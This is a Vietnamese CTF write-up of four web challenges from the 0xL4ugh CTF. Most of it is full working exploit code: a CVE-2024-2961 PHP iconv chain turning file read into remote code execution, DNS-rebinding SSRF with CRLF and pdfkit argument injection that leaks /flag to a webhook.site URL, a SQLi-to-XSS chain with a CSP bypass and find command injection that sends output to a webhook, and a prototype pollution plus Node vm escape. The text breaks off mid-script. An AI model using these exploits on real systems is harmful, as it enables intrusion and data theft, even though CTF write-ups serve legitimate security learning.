---
# System prepended metadata

title: OxL4ugh CTF

---

---
title: OxL4ugh CTF
---

# 0xNote

![image](https://hackmd.io/_uploads/ryOk1sVIWx.png)
## Overview 
- Backend : **fpm**
![image](https://hackmd.io/_uploads/SJSBJj4U-l.png)
- Proxy : **nginx** 
![image](https://hackmd.io/_uploads/HkQCko4LZl.png)
- Giao diện 
![image](https://hackmd.io/_uploads/SkCqlsE8be.png)
- Tuy nhiên bị chặn ở `/premium.php` 
## Solve 

- Với cách viết proxy như sau ta có thể bypass bằng việc thêm `index.php` ngay sau thư mục mà ta bị chặn (`premium.php`)
![image](https://hackmd.io/_uploads/BkGVeoVI-x.png)
- [Cách bypass ở đây](https://angelica.gitbook.io/hacktricks/pentesting-web/proxy-waf-protections-bypass#php-fpm)
- Sau khi vào được `/premium.php` bằng `/premium.php/index.php` ta thấy được ứng dụng set color không fillter input người dùng 
- Như đoạn code sau nếu có thể kiểm soát được `color` và `note` thì có thể tạo ra 1 object mới : 
![image](https://hackmd.io/_uploads/rkKAWiNL-e.png)

## Exploit 
- CHúng ta sẽ dùng SPLFileObject để đọc 1 file bất kì 
- Set path : `php://filter/convert.base64-encode/resource=/etc/passwd`
![image](https://hackmd.io/_uploads/Sy_7VjNUZx.png)
- Set Classname 
![image](https://hackmd.io/_uploads/H1PwVjEIWl.png)
- Đọc kết quả 
![image](https://hackmd.io/_uploads/rkbq4sV8Wx.png)
- Auket lấy được `etc/passwd` tuy nhiên flag có quyền Owner vậy nên chưa đủ quyền để đọc 
![image](https://hackmd.io/_uploads/rJzRNiVUZg.png)
### Nâng quyền 
- Ngay khi thực hiện được `SPLFileObject` như ở trên ta cũng có thể biến thể để nâng lên từ đọc file thành RCE từ [đoạn tài liệu sau](https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py) và [cái này](https://blog.lexfo.fr/iconv-cve-2024-2961-p1.html)
![image](https://hackmd.io/_uploads/SJfsHsVIZl.png)
- Sau đây sẽ là PWN CORE , mình đéo biết giải thích như nào nên chạy code thôi ; Vào `http://localhost:5000/` để check id 
```php=
import requests
from pwn import *
import re
import base64
import zlib
from bs4 import BeautifulSoup

session = requests.Session()

## Constant

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

## Post init function

def get_file(url, path):
    path = f"php://filter/convert.base64-encode/resource={path}"
    r = session.post(url + 'login.php', data={'username':'winky'})
    r = session.post(url + 'index.php', data={'note':path})
    r = session.post(url + '/premium.php/index.php', data={'color': 'SplFileObject'})
    r = session.get(url + 'index.php')
    soup = BeautifulSoup(r.text, "html.parser")
    data = soup.find("div", id="noteContent").get_text(strip=True)
    return base64.b64decode(data)

def compress(data):
    return zlib.compress(data, 9)[2:-4]

def compressed_bucket(data):
    return chunked_chunk(data, 0x8000)

def qpe(data):
    return "".join(f"={x:02x}" for x in data).upper().encode()

def ptr_bucket(*ptrs, size=None):
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)
    return bucket

def chunked_chunk(data, size: int = None):
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

## Pwn core

class PWN_Core():
    def __init__(self, url, command) -> None:
        self.url = url
        self.command = command
        self.info = {}
        self.heap = None
        self.pad = 20
        
    class Region():
        def __init__(self, start, stop, permissions, path):
            self.start = int(start)
            self.stop = int(stop)
            self.permissions = permissions
            self.path = path
        
        @property
        def size(self) -> int:
            return self.stop - self.start
    
    def download_file(self, remote_path: str, local_path: str) -> None:
        data = get_file(self.url, remote_path)
        Path(local_path).write_bytes(data)
    
    def get_regions(self):
        maps = get_file(self.url, "/proc/self/maps")
        maps = maps.decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for region in [line.strip() for line in maps.strip().split('\n')]:
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = self.Region(start, stop, permissions, path)
                regions.append(current)
                
            else:
                print(maps)
        return regions

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        for region in regions:
            if any(name in region.path for name in names):
                break
        return region

    def find_main_heap(self, regions):
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]
        first = heaps[0]
        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
        return first

    def get_symbols_and_addresses(self) -> None:
        regions = self.get_regions()
        LIBC_FILE = "./libc"
        self.info["heap"] = self.find_main_heap(regions)
        libc = self._get_region(regions, "libc-", "libc.so")
        self.download_file(libc.path, LIBC_FILE)
        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start

    def build_exploit_path(self):
        
        self.get_symbols_and_addresses()
        
        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
        CS = 0x100

        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)
        
        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS
        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)
        
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )
        
        step4_use_custom_heap_size = 0x140
        
        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"

        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
        
        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )
        
        resource = compress(compress(pages))
        resource = base64.b64encode(resource).decode()
        resource = f"data:text/plain;base64,{resource}"
        
        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",
            
            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
            
            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"
        return path

def solve():
    URL = 'http://localhost:5000/'
    
    command = 'id > /tmp/check_id'
    
    print(f'[+] Build payload với lệnh: {command}')
    path = PWN_Core(URL, command).build_exploit_path()
    
    # 2. Gửi Exploit (Chấp nhận lỗi 502/Server Crash)
    try:
        print('[*] Đang gửi payload kích hoạt RCE...')
        # Bước này server có thể trả về 502 do tiến trình crash, ta dùng try/except để bỏ qua lỗi
        # Lưu ý: Không gọi get_file ở đây để đọc kết quả ngay, vì hàm get_file sẽ fail khi parse HTML lỗi
        
        # Tự gửi request thủ công để tránh logic parse HTML của hàm get_file
        exploit_payload = f"php://filter/convert.base64-encode/resource={path}"
        session.post(URL + 'login.php', data={'username':'winky'})
        session.post(URL + 'index.php', data={'note': exploit_payload})
        session.post(URL + '/premium.php/index.php', data={'color': 'SplFileObject'})
        session.get(URL + 'index.php', timeout=5) # Kích hoạt exploit
        
    except Exception as e:
        # Lỗi 502 hoặc timeout là dấu hiệu tốt (server đang xử lý/crash do exploit)
        print(f'[!] Server phản hồi/crash (điều này là bình thường với CVE-2024-2961): {e}')
    
    # 3. Đợi hệ thống đồng bộ file
    import time
    print('[*] Đợi 2 giây để lệnh thực thi xong...')
    time.sleep(2)
    
    # 4. Đọc kết quả từ file /tmp/check_id bằng LFI (Sử dụng lại hàm get_file)
    print('[*] Đang đọc kết quả từ /tmp/check_id...')
    try:
        # Dùng chính tính năng SplFileObject để đọc file kết quả
        result = get_file(URL, "/tmp/check_id")
        
        if result:
            print('\n[+] KẾT QUẢ COMMAND ID:')
            print('='*40)
            print(result.decode('utf-8').strip())
            print('='*40)
        else:
            print('[-] Không đọc được kết quả. Có thể exploit chưa thành công.')
            
    except Exception as e:
        print(f'[-] Lỗi khi đọc file kết quả: {e}')

if __name__ == "__main__":
    solve()
```

![image](https://hackmd.io/_uploads/SyU18T4I-g.png)

- Bây giờ để lấy flag cần sử dụng binary `/readflag`. Trong Dockerfile binary này đã được cấp quyền `SUID` tức là khi user `nobody` chạy nó, nó sẽ thực thi với quyền của chủ sở hữu file (là root)

```php=
def solve():
    URL = 'http://localhost:5000/'
    
    # Output được ghi vào /tmp/flag_result để user nobody có thể đọc lại sau đó
    command = '/readflag > /tmp/flag_result'
    
    print(f'[+] Đang tạo payload cho lệnh: {command}')
    
    path = PWN_Core(URL, command).build_exploit_path()
    
    # 1. Gửi Exploit (Trigger RCE)
    try:
        print('[*] Đang gửi payload kích hoạt RCE...')
        # Gửi request để kích hoạt lỗi iconv, server dự kiến sẽ crash (trả về 502)
        encoded_path = f"php://filter/convert.base64-encode/resource={path}"
        session.post(URL + 'login.php', data={'username':'winky'})
        session.post(URL + 'index.php', data={'note': encoded_path})
        session.post(URL + '/premium.php/index.php', data={'color': 'SplFileObject'})
        session.get(URL + 'index.php', timeout=5)
    except Exception as e:
        print(f'[!] Server đã crash/phản hồi (Dấu hiệu tốt): {e}')
    
    # 2. Đợi hệ thống xử lý
    import time
    print('[*] Đợi 2 giây để lệnh /readflag thực thi xong...')
    time.sleep(2)
    
    # 3. Đọc kết quả từ file tạm bằng kỹ thuật LFI cũ
    print('[*] Đang đọc flag từ /tmp/flag_result...')
    try:
        # Sử dụng lại hàm get_file (SplFileObject) để đọc file kết quả
        flag = get_file(URL, "/tmp/flag_result")
        
        if flag:
            print('\n' + '='*40)
            print(f"FLAG: {flag.decode('utf-8', errors='ignore').strip()}")
            print('='*40 + '\n')
        else:
            print('[-] Không đọc được flag. Có thể exploit thất bại hoặc file không tồn tại.')
            
    except Exception as e:
        print(f'[-] Lỗi khi đọc file flag: {e}')

if __name__ == "__main__":
    solve()
```

![image](https://hackmd.io/_uploads/Sk4YUaELbg.png)

**Flag: 0xL4ugh{1think_y0u_l0ved_my_pHp_n0te_e1bfd312v_dc754541a1d6a4fd}**

# pdf.exe

![image](https://hackmd.io/_uploads/Sy8Srer8-e.png)

## Overview 
- **DNS Rebinding SSRF** in Next.js Image Optimizer để chạm tới dịch vụ nội bộ 
- **CRLF Injection** in Python's `urllib.request` `data:` URI handler để chèn header độc hại vào gói tin 
- **pdfkit Argument Injection** via **injected HTML meta tags** để lấy được nội dung của flag từ dịch vụ nội bộ 

## Next.js Image Optimizer SSRF
- Trước tiên ta sẽ gặp được cấu hình file `next.config.ts` như sau : 
![image](https://hackmd.io/_uploads/r1IpmXdU-g.png)
=>  Willcard `hostname: "**"` cho phép tối ưu hình ảnh từ việc lấy ảnh từ bất kì host `HTTP` nào 
=> Đối với endpoint `/_next/image` nếu kiểm soát được `url` ta có thể **SSRF** vào dịch vụ nội bộ 

- Đối với endpoint `/_next/image` chấp nhạn 3 tham số 


| Tham số  | Chức năng                 |
| -------- | --------                  | 
|  url     | Url của ảnh và tối ưu     |
|  w       | Chiều rộng mong muốn      |
|  q       | Số lượng                  |

- Request sẽ như sau : `GET /_next/image?url=https://example.com/photo.jpg&w=640&q=75`
- Thực hiện SSRF cổ điển như sau `GET /_next/image?url=http://127.0.0.1:5000/generate&w=640&q=75` nhưng đương nhiên sẽ bị chặn 
- Giờ đến lúc đâm sâu vào src với [hàm `fetchExternalImage`](https://github.com/vercel/next.js/blob/canary/packages/next/src/server/image-optimizer.ts) 
- Hàm này sẽ có chức năng như sau : 
    - Parse hostname từ ip 
    - Resolve DNS để chuyển về ip 
    - Kiểm tra xem có phải ip nội bộ không 
    - Nếu là IP nội bộ thì chặn 
    - Còn nếu không thì cho qua 

- Auke đây sẽ là lúc Time-of-Check to Time-of-Use **(TOCTOU)**
- Thời gian server kiểm tra ip riêng sẽ là lúc ta thực hiện request đến mục tiêu 
- Sử dụng cái này để [DNS rebinding](https://lock.cmpxchg8b.com/rebinder.html)
- You control a domain 
- The DNS server is configured with a very low TTL and alternates responses:
    - First query -> 1.2.3.4 (public IP, passes validation)
    - Second query -> 127.0.0.1 (private IP, actual target)
- Image optimizer:
    - Resolves evil.mushroom.cat -> 1.2.3.4 ✅ (validation passes)
    - Calls fetch(evil.mushroom.cat) -> DNS resolves again -> 127.0.0.1 Request hits localhost! ✅✅✅✅
- URl sẽ như sau `GET /_next/image?url=http://7f000001.8efab5ae.rbndr.us:5000/generate?data=...&w=640&q=75`
![image](https://hackmd.io/_uploads/SJpe1LdLZl.png)

## Python urllib CRLF Injection in (`data:`) URIs
- Như ta thấy dataURI được ta kiểm soát hoàn toàn và nó chỉ fillter đơn giản bới `data_uri.startswith("data:plain/text"):` kiểm tra xem có bắt đầu chuỗi bằng `data:plain/text` không . 
![image](https://hackmd.io/_uploads/rySheLdIbe.png)

- Ngay sau đó `datauri` sẽ rơi vào `urlopen` và `Python's urllib.request` sẽ xứ lí `data: URIs` through the `DataHandler class`.
![image](https://hackmd.io/_uploads/HJ-VbLd8bg.png)

- `Data:` URI  sẽ có dạng `data:[<mediatype>][;base64],<data>`
- Hàm `email.message_from_string()` xử lí headers. Headers được tách bới newline (`\r\n` or  `\n`). Vậy nên ta chèn (`%0A`) vào phần mediatype

```code=
data:plain/text%0AContent-Disposition: malicious-header,mushroom

    ||
    ||
    \/
Content-Type: plain/text
Content-Disposition: malicious-header
```

- Chúng ta sẽ chèn vào header `Content-Disposition` bới nó sẽ được đưa vào pdfkit lúc sau 

## pdfkit Argument Injection (The Flag Exfiltration)

- pdfkit là tool để chuyển từ HTML sang pdf 
- Chúng ta có thể inject vào 1 đoạn html để lợi dụng 1 số chức năng để đọc flag
![image](https://hackmd.io/_uploads/rkmt4UuU-l.png)

- Như vậy payload sẽ như sau : 
```code=
<meta name="pdfkit-post-file" content="">
<meta name="pdfkit-leak-data" content="/flag">
<meta name="pdfkit-https://webhook.site/XXXX/" content="--cache-dir">
```

- Payload sẽ được hình dung như sau : 
![image](https://hackmd.io/_uploads/S1HmdI_IWx.png)
- Double encode url ta được payload ⬇️
## Final exploit 
```code=
import requests
import time

paylaod = "http%3A%2F%2F7f000001.8efac8ce.rbndr.us%3A5000%2Fgenerate%3Fdata%3Ddata%3Aplain%2Ftext%250AContent-Disposition%3A%253Cmeta%2520name%3D%2522pdfkit-post-file%2522%2520content%3D%2522%2522%253E%2520%253Cmeta%2520name%3D%2522pdfkit-leak-data%2522%2520content%3D%2522%2Fflag%2522%253E%2520%253Cmeta%2520name%3D%2522pdfkit-https%3A%2F%2Fwebhook.site%2F1738ce87-4a08-47ae-9cd5-323dc449cb7d%2F%3Fq%3D--%2522%2520content%3D%2522--cache-dir%2522%253E%2Ccanelo"

r =  f"http://165.227.157.69/_next/image?url={paylaod}&w=256&q=75&"

print("Attack started check your webhook")

while True:
    _ = requests.get(r)
    time.sleep(0.1)
```

![image](https://hackmd.io/_uploads/SkZfrUOUbl.png)

- LƯU Ý : chall này không thực hiện được trên local bới đặc tính của NextJS 
**FLAG : 0xL4ugh{my_pdfs_are_something_else_right?_179453d559cb1bec}**





# Smol Web
![image](https://hackmd.io/_uploads/SyeNttP8bx.png)
![image](https://hackmd.io/_uploads/r1nQ0FvLWl.png)


## Phân tích
- web service (port 5000): xem và đánh giá sản phẩm
- bot service (port 3000): admin bot sử dụng puppeteer để visit URL được report

### `app/Dockerfile`
- Flag nằm trong biến môi trường, chỉ có thể đọc qua binary `/readflagbinary` (được set quyền SUID) => RCE

### `app/main.py`
- endpoint `/ratings` lấy tham số `quantity` và đưa trực tiếp vào lệnh SQL qua `f-string`
![image](https://hackmd.io/_uploads/H1PEk5v8Wg.png)

- Có filet `'` và `"` nhưng vì đây là interger nên không cần dấu nháy để injection

- Sau khi query bảng `products` code lấy `user_id` từ kết quả để query bảng `users`
![image](https://hackmd.io/_uploads/HkmQxqD8-x.png)
- `r['user_id']` là dữ liệu ta control được từ câu query trên
- Tại `templates/ratings_page.html` creator được render với filter `safe`:
![image](https://hackmd.io/_uploads/BkN_x9PI-x.png)

=> Chain: inject payload vào cột `user_id` ở query 1 -> payload đó trở thành câu SQL query 2 -> trả về XSS payload vào biến `name` -> render ra HTML

### Endpoint /search (chỉ access được từ localhost (từ phía bot)
![image](https://hackmd.io/_uploads/SkgxZcwLWx.png)

- Hàm `sanitize_input` chặn nhiều ký tự và các lệnh ![image](https://hackmd.io/_uploads/ryxSbcwIWe.png)
- Nhưng `find` command có tuỳ chọn `-exec` => cần bypass filter để chạy `/readflagbinary`

## Vuln
1. **SQL Injection (stage 1)**: inject còn `quantity` để control cột `user_id` trả về
2. **SQLi (stage 2)**: sử dụng giá trị `user_id` độc hại để Union Select ra payload XSS
3. **Reflected XSS**: payload XSS hiển trị trên trang `/ratings`
4. **CSP bypass** sử dụng JSONP endpoint của youtube (`/oembed`) để execute JS
5. **SSRF/local access**: dùng bot để trigger request tới `/search` (endpoint nội bộ)
6. **Command Injection**: inject tham số cho lẹnh `find` để thực thi `/readflagbinary`

## Exploit
### Bypass filter và payload encoding
- Do `quantity` chặn dấu nháy `'` nên không thể viết string trực tiếp => Dùng hàm `CHAR(ascii_code)` của SQLite và nối chuỗi bằng `||`

### Tạo payload XSS để bypass CSP
- không thể dùng `<script>alert(1)</script>` => dùng gadget youtube
`<script src="https://www.youtube.com/oembed?callback=...Javascript..."></script>`
- Đoạn JS trong callback sẽ:
    - Tạo `XMLHttpRequest` POST tới `/search`
    - Gửi body: `search=-exec /*e*b*y ;`
    - Đọc response (output của lệnh `find`)
    - Gửi flag về webhook qua `location`

### Bypass filter tại `/search`
- Lệnh cần chạy: `/readflagbinary`. Filter block: `r, l, f, a, d...` . Filter allow: `e, b, y, *, /` Payload: `/*e*b*y` 
    - `/` : Root
    - `*` : match `readflag`
    - `b` : match `b`
    - `*` : match `inar`
    - `y` : match `y` => find sẽ execute: `/readflagbinary`

### Chain SQLi
- Ta cần nhúng XSS payload vào `user_name`
    - query 2 (inner): `0 UNION SELECT 1, '<script...XSS...>'`
    - query 1 (outer): `quantity = 0 UNION SELECT 1, 2, 3, (payload query 2 đã encode CHAR)`

- Khi server chạy:
    - query 1 trả về `user_id` là chuỗi SQL `"0 UNION SELECT..."`
    - query 2 chạy: `SELECT ... WHERE id = 0 UNION SELECT 1, '<script...>'`
    - User name là đoạn script
    - HTML render đoạn script -> Bot chạy script -> RCE -> Lấy Flag

## Full script:
```python
import urllib.parse
import requests

# [CONFIG] Thay đổi URL target và Webhook của bạn
TARGET_URL = "http://challenges2.ctf.sd:35129"
WEBHOOK = "https://webhook.site/0c04e078-b97c-4c59-82a9-fc5f06f2eea8" # Thay bằng webhook của bạn

def to_char(s):
    """
    Chuyển đổi string sang dạng SQLite CHAR() để bypass filter dấu nháy (')
    Ví dụ: 'ABC' -> CHAR(65,66,67)
    """
    chars = [str(ord(c)) for c in s]
    chunks = []
    # Chia nhỏ để tránh giới hạn tham số nếu có
    for i in range(0, len(chars), 40):
        chunk = ",".join(chars[i:i+40])
        chunks.append(f"CHAR({chunk})")
    return "||".join(chunks)

def generate_payload():
    print("[*] Generating Exploit Payload...")

    # 1. Javascript Payload: Chạy trên browser của Bot
    # Nhiệm vụ: POST vào /search để kích hoạt Command Injection, sau đó gửi kết quả về Webhook
    # Payload cmd injection: -exec /*e*b*y ;  (Tương đương: -exec /readflagbinary ;)
    js_code = (
        "var xhr=new XMLHttpRequest();"
        "xhr.open('POST','/search',true);"
        "xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');"
        "xhr.onload=function(){"
            "var d=new DOMParser().parseFromString(xhr.responseText,'text/html');"
            "var output=d.querySelector('pre').textContent;"
            "location='" + WEBHOOK + "?flag='+btoa(output)" 
        "};"
        "xhr.send('search=-exec /*e*b*y ;');"
    )
    
    # Encode JS để nhúng vào callback của Youtube
    encoded_js = urllib.parse.quote(js_code)
    
    # 2. XSS Payload: Bypass CSP bằng Youtube Oembed
    xss_tag = f'<script src="https://www.youtube.com/oembed?callback={encoded_js}"></script>'

    # 3. Inner SQL Injection (Query 2): Để inject XSS vào tên user
    # Cấu trúc: 0 UNION SELECT 1, 'PAYLOAD_XSS'
    inner_sqli = f"0 UNION SELECT 1,'{xss_tag}'"
    
    # Encode Inner SQLi sang CHAR() để tránh dấu nháy trong Outer SQLi
    char_payload = to_char(inner_sqli)
    
    # 4. Outer SQL Injection (Query 1): Inject vào tham số quantity
    # Cột thứ 4 là user_id, ta nhét payload inner vào đây
    final_sqli = f"0 UNION SELECT 1,2,3,{char_payload}"
    
    print(f"[+] Final Payload (for quantity param):\n{final_sqli}")
    return final_sqli

def send_exploit(payload):
    # Đường dẫn mà Bot sẽ visit. 
    # Bot sẽ truy cập: http://web:5000/ratings?quantity=...
    path_to_visit = f"/ratings?quantity={urllib.parse.quote(payload)}"
    
    report_url = f"{TARGET_URL}/report"
    print(f"[*] Sending report to: {report_url}")
    print(f"[*] Bot will visit: {path_to_visit}")

    try:
        r = requests.post(report_url, data={"url": path_to_visit})
        if r.status_code == 200:
            print("[+] Report sent successfully! Check your webhook.")
            print(f"[>] Webhook URL: {WEBHOOK}")
        else:
            print(f"[-] Failed to send report. Status: {r.status_code}")
            print(r.text)
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    payload = generate_payload()
    send_exploit(payload)
```
![image](https://hackmd.io/_uploads/Bkzjv9wLWe.png)
![image](https://hackmd.io/_uploads/BywsPcvIbl.png)

# 4llD4y
![image](https://hackmd.io/_uploads/rJFMR4_IZg.png)
![image](https://hackmd.io/_uploads/rydEC4OUWx.png)

## Phân tích
- Flag được ghi vào một file có tên `/flag_xxxxx.txt` (nằm ở root `/`)
- biến môi trường `$FLAG` bị unset -> RCE để list file trong `/` và đọc

### app.js
![image](https://hackmd.io/_uploads/HyCx1H_8-e.png)

- Sử dụng `express` và `happy-dom`
- endpoint `/config` (POST)
    - Nhận JSON input
    - sử dụng thư viện `flatnest` hàm `nest()` để xử lý object đầu vào 
- endpoint `/render` (POST)
    - nhận `html` string
    - khởi tạo `new Window()` từ `happy-dom`
    - ghi HTML vào document và trả về `outerHTML`
    => Nơi ta execute XSS/JS nhưng mặc định `happy-dom` sẽ tắt execute JS 
    
## Vuln
**1. prototype pollution trong flasnest (CVE-2023-26135)** 
- ![image](https://hackmd.io/_uploads/Hkx1lBuLWe.png)
- Thư viện `flatnest` (v1.0.1) unflatten một object (chuyển key dạng dot-notation `x.y` thành nested object `{x: {y: ...}}`)
- Nhưng nó không lọc các key như `__proto`, `constructor`, `prototype`
- Các payload kiểu cũ `{"__proto__": {"settings": ...}}` -> fail vì `flatnest` sẽ lọc key này
- `flatnest` có một tính năng đặc biệt để hỗ trợ Circular References -> cho phép định nghĩa một chuỗi đặc biệt để trỏ ngược lại object cha
([có tham tham khảo ở đây](https://github.com/brycebaril/node-flatnest/blob/b7d97ec64a04632378db87fcf3577bd51ac3ee39/nest.js))
- `flatnest` parse chuỗi có định dạng `[Circular (path)]`
- nó không validate `path` bên trong `Circular`
- khi ta gửi `"[Circular (__proto__)]"` `flatnest` sẽ phân giải nó và trỏ thẳng vào `Object.prototype` của object hiện tại mà không bị filter key chặn
**2. sandbox escapse/RCE trong happy-dom**
-  khi `enableJavaScriptEvaluation` được bật -> tag `script` trong HTML gửi lên sẽ được execute
-  Vì chạy trong cùng context với note process nên ta có thể dùng `this.constructor.constructor` để lấy `Function` constructor gốc -> gọi ra `process` của nodejs và rce

## Exploit
### prototype pollution
- Dùng `nest()` tại `/config` để pollution `Object.prototype.settings`
``` json
{
    "polluter": "[Circular (__proto__)]",
    "polluter.settings": {},
    "polluter.settings.enableJavaScriptEvaluation": true
}
```
- `flatnest` gán `obj.polluter = obj.__proto__` (tức là `Object.prototype`)
- Nó gán `obj.polluter.settings.enableJavaScriptEvaluation = true`
<=> `Object.prototype.settings = { enableJavaScriptEvaluation: true }`

### RCE
#### sandbox escapse
- sau khi pollute và trả về `{ message: 'configuration applied' }` 
- `happy-dom` sử dụng `vm` module của node.js để chạy script trong tag `<script>`
- `vm` không phải là security sandbox. Context bên trong `vm` vẫn có thể truy cập vào constructor của các object cơ bản ( `Object`, `Function`)
- ta dùng `this.constructor.constructor` (trong đó `this` là window/global scope của VM) sẽ trả về `Function` constructor của host process (node.js chính) cho phép ta thoát khỏi VM context và execute code
#### internal binding
- `process.binding('spawn_sync')` là internal API của node.js được dùng bởi `child_process`. Dùng cái này để bypass nếu module `child_process` bị override hoặc filter, và nó khá ổn để spawn process con (như `/bin/ls` hay `/bin/cat`) trực tiếp

```javascript!
// thoát sandbox, lấy object process của node.js
const process = this.constructor.constructor("return process")();

// lấy internal binding để spawn process
const spawn = process.binding("spawn_sync");

// Cấu hình lệnh
const opts = {
    file: "/bin/ls",
    args: ["ls", "/"],
    envPairs: [],
    stdio: [
        {type:"pipe",readable:true,writable:false},
        {type:"pipe",readable:false,writable:true},
        {type:"pipe",readable:false,writable:true}
    ]
};

// excecute và lấy output
const result = spawn.spawn(opts);

// trả kết quả về client bằng cách ghi đè document body
document.body.innerHTML = String.fromCharCode.apply(null, new Uint8Array(result.output[1]));
```

- Sử dụng lệnh `ls /` để xem tên file flag_*.txt
![image](https://hackmd.io/_uploads/BkaRYhOIWl.png)

- Sau khi tìm được tên flag flag thì thay phần cấu hình thành lệnh cat:
```javascript
...
const opts = {
    file: "/bin/cat",
    args: ["cat", "/flag_510a85c2731f7e49.txt"],
    envPairs: [],
    stdio: [
        {type:"pipe",readable:true,writable:false},
        {type:"pipe",readable:false,writable:true},
        {type:"pipe",readable:false,writable:true}
    ]
};
...
```
![image](https://hackmd.io/_uploads/HyJI92O8-g.png)


## Full script exploit
```python
import requests
import json

# Target config
TARGET_URL = "http://challenges2.ctf.sd:35309" # Đổi IP nếu cần
CMD_TO_RUN = "cat /flag_*.txt" # Lệnh cần chạy để lấy flag

def exploit():
    # Session để giữ kết nối tốt hơn
    s = requests.Session()

    print("[+] Step 1: Performing Prototype Pollution on flatnest...")
    
    # Payload abuse tính năng Circular Reference của flatnest
    # polluter -> Object.prototype
    pollution_payload = {
        "polluter": "[Circular (__proto__)]",
        "polluter.settings": {},
        "polluter.settings.enableJavaScriptEvaluation": True
    }
    
    try:
        r1 = s.post(
            f"{TARGET_URL}/config",
            json=pollution_payload,
            headers={"Content-Type": "application/json"}
        )
        print(f"[*] Pollution Response: {r1.text}")
    except Exception as e:
        print(f"[!] Error sending pollution: {e}")
        return

    print("[+] Step 2: Triggering RCE via Happy DOM...")
    
    # Payload Javascript độc hại để escape sandbox và chạy lệnh hệ thống
